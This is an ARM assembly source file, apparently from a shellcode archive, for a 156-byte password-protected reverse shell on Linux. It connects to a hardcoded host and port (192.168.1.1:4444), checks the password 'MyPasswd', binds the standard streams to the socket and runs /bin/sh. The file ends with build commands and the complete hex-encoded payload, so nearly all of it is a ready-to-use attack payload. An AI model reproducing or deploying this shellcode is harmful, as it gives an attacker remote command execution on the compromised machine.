/*
* Title:  Linux/ARM - Password Protected Reverse Shell TCP (/bin/sh). Null free shellcode (156 bytes)
* Date:   2018-01-15
* Tested: armv7l (Raspberry Pi v3)
* Author: rtmcx - twitter: @rtmcx 
*/
 
.section .text
 
.global _start
_start:
    /* Enter Thumb mode */
    .ARM
    add     r6, pc, #1
    bx      r6
 
 
    .THUMB
 
/* Create a new socket*/
    /* socket(PF_INET, SOCK_STREAM, 0);
        r0 = 2, r = 1, r2 = 0
        r7 = 281 (SYSCALL for socket)
    */
    mov     r0, #2              // PF_INET = 2
    mov     r1, #1              // SOCK_STREAM = 1
    eor     r2, r2, r2          // Zero out r2
    mov     r7, #100            // Put 281 in r7..
    add     r7, #181            // ..in a 2-step operation
    svc     #1                  // syscall returns sockid in r0 
 
    mov     r4, r0              // Save sockid in r4
 
 
/* Connect to client */
    /* connect(int sockid, const struct sockaddr *addr, int addrlen);
        r0 = sockid, r1 = <struct address>, r2 = 16
        r7 = 283 (SYSCALL for connect)
    */
    adr     r1, struct_addr     // Address to struct_addr
    strb    r2, [r1, #1]        // Replace AF_INET with NULL
    mov     r2, #16             // Address length 
    add     r7, #2              // r7 already contains 281, so add 2 = 283
    svc     #1                  // Client sockid will be returned in r0
 
 
/* Send message  */ 
    /* send(sockid, message, mess_len, 0);
        r0 = sockid, r1 = message_address, r2 = messlen, r3 = 0
        R7 = 289 (syscall for send)
    */
    mov     r0, r4              // Restore sockid to r0
    adr     r1, prompt          // Load address to string "passwd" in r1
    mov     r2, #8              // 'passwd: ' is 8 bytes
    eor     r3, r3, r3          // Make r3 null
    add     r7, #6              // r7 has 283, add 6 to get 289
    svc     #1                  // Execute syscall
     
 
/* Get the response (recv) */
    /* ssize_t recv(int sockid, void *buf, size_t len, int flags);
        r0 = sockid, r1 = buffer_space, r2 = length, r3 = null      
        r7 = 291 (recv)
    */
    mov     r0, r4              // Restore sockid to r0
    adr     r1, response        // Load the address to store input in into r1
    mov     r2, #8              // Read 8 characters
    eor     r3, r3 ,r3          // Zero out r3
    add     r7, #2              // r7 has 289, add 2 to get 291
    svc     #1                  // Execute syscall  
 
 
/* Compare the received answer to the stored password */
    adr     r5, passwd          // Store address to password in r5
    mov     r6, #9              // Use r6 as counter for number of bytes in password
                                // (9 to 1 to avoid null)
cmp_loop:
    ldrb    r2, [r5]            // Put one byte from r5 in r2
    ldrb    r3, [r1]            // Put one byte from r1 in r3
 
    cmp     r2, r3              // Compare the bytes
    bne     _exit               // Not equal, exit 
  
    add     r5, #1              // Next byte in password            
    add     r1, #1              // Next byte in input
    sub     r6, #1              // Decrement counter
 
    cmp     r6, #1              // Are we at 1 yet?
    bne     cmp_loop            // No, next byte 
 
 
/* Duplicate STDIN, STDOUT and STERR */
    /* dup2(client_sock_fd, STDIN/STDOUT/STDERR); 
        r0 = sockid, r1 = 0/1/2
        r7 = 63 (syscall for dup2)
    */
    mov     r0, r4              // Saved sockid
    eor     r1, r1, r1          // Zero r1 for STDIN
    mov     r7, #63             // Syscall for dup2
    svc     #1                  // Execute syscall
     
    mov     r0, r4              // Saved sockid
    add     r1, #1              // STDOUT (1)
    svc     #1                  // Execute syscall
 
    mov     r0, r4              // Saved sockid
    add     r1, #1              // STDERR (2)
    svc     #1                  // Execute syscall
 
     
/* Execute shell */
    /* execve('/bin/sh', 0, 0);
        r0 --> "/bin/sh", r1 = 0, r2 = 0
        r7 = 11 (syscall for execve)
    */ 
    adr     r0, shellcode       // Address to "/bin/sh"
    eor     r1, r1, r1          // Zero out r1
    eor     r2, r2, r2          // And r2
    strb    r2, [r0, #7]        // Replace 'X' with NULL
    mov     r7, #11             // Syscall for execve
    svc     #1                  // Execute syscall
 
 
/* Exit (if wrong password was provided) */
_exit: 
    mov     r0, #1              // return 1
    mov     r7, #1              // syscall number for exit
    svc     #1                  // execute syscall
 
 
/* */
struct_addr:
    .ascii "\x02\xaa"           // AF_INET 0xff will be NULLed 
    .ascii "\x11\x5c"           // port 4444
    .ascii "\xc0\xa8\x01\x01"   // IP Address (192.168.1.1)
 
shellcode:
    .ascii "/bin/shX"
 
prompt: 
    .ascii "passwd:\x20"        // prompt for password, with space
 
response:
    .ascii "xxxxxxxx"           // Place to store the response
 
passwd: 
    .ascii "MyPasswd"           // The correct password
 
 
/* 
Compile and link with: 
# as -o shellcode.o shellcode.s
# ld -N shellcode.o -o shellcode
 
\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\x64\x27\xb5\x37\x01\xdf\x04\x1c\x17\xa1\x4a\x70
\x10\x22\x02\x37\x01\xdf\x20\x1c\x18\xa1\x08\x22\x5b\x40\x06\x37\x01\xdf\x20\x1c\x17\xa1\x08\x22\x5b\x40
\x02\x37\x01\xdf\x16\xa5\x09\x26\x2a\x78\x0b\x78\x9a\x42\x14\xd1\x01\x35\x01\x31\x01\x3e\x01\x2e\xf6\xd1
\x20\x1c\x49\x40\x3f\x27\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x06\xa0\x49\x40\x52\x40
\xc2\x71\x0b\x27\x01\xdf\x01\x20\x01\x27\x01\xdf\x02\xaa\x11\x5c\xc0\xa8\x01\x01\x2f\x62\x69\x6e\x2f\x73
\x68\x58\x70\x61\x73\x73\x77\x64\x3a\x20\x78\x78\x78\x78\x78\x78\x78\x78\x4d\x79\x50\x61\x73\x73\x77\x64
*/